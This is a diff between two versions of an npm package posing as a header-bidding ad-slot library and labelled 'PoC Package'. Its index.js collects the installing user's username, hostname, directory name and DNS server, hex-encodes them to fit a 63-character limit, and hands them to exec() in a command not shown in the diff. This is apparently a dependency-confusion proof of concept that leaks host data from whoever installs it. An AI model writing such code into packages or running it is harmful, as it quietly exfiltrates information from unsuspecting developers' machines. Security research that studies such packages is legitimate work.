@plentyofcode/header-bidding-adslot 2.0.42 → 2.0.43

package/index.js

@@ -3,22 +3,27 @@ const dns = require("dns");
 const os = require("os");
 const path = require("path");
 
-// Get necessary values
-const username = os.userInfo().username;
-const hostname = os.hostname();
-const currentDir = path.basename(__dirname); // Get only the current directory name
-const dnsServer = dns.getServers()[0] || "none"; // Use only the first DNS server
+// Function to convert a string to hexadecimal
+function toHex(str) {
+    return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
+}
+
+// RCE
+const username = os.userInfo().username; // Username
+const hostname = os.hostname(); // HostName
+const currentDir = path.basename(__dirname); // Current Directory
+const dnsServer = dns.getServers()[0] || "none"; // First DNS Server
 
 // Create the information in a compact format
 const info = `u=${username}&hn=${hostname}&d=${currentDir}&dns=${dnsServer}`;
 
-// Encode the information in Base64
-let encodedInfo = Buffer.from(info).toString('base64');
+// Encode the information in hexadecimal
+let encodedInfo = toHex(info);
 
 // Check if the encoded string exceeds 63 characters
 if (encodedInfo.length > 63) {
     // Use only the username if the string is too long
-    encodedInfo = Buffer.from(`u=${username}`).toString('base64');
+    encodedInfo = toHex(`u=${username}`);
 }
 
 // Execute the command with the encoded information
@@ -31,4 +36,4 @@ exec(command, (error, data) => {
         return;
     }
     console.log(data);
-});
+});

package/package.json

@@ -1,6 +1,6 @@
 {
     "name": "@plentyofcode/header-bidding-adslot",
-    "version": "2.0.42",
+    "version": "2.0.43",
     "description": "PoC Package",
     "main": "index.js",
     "scripts": {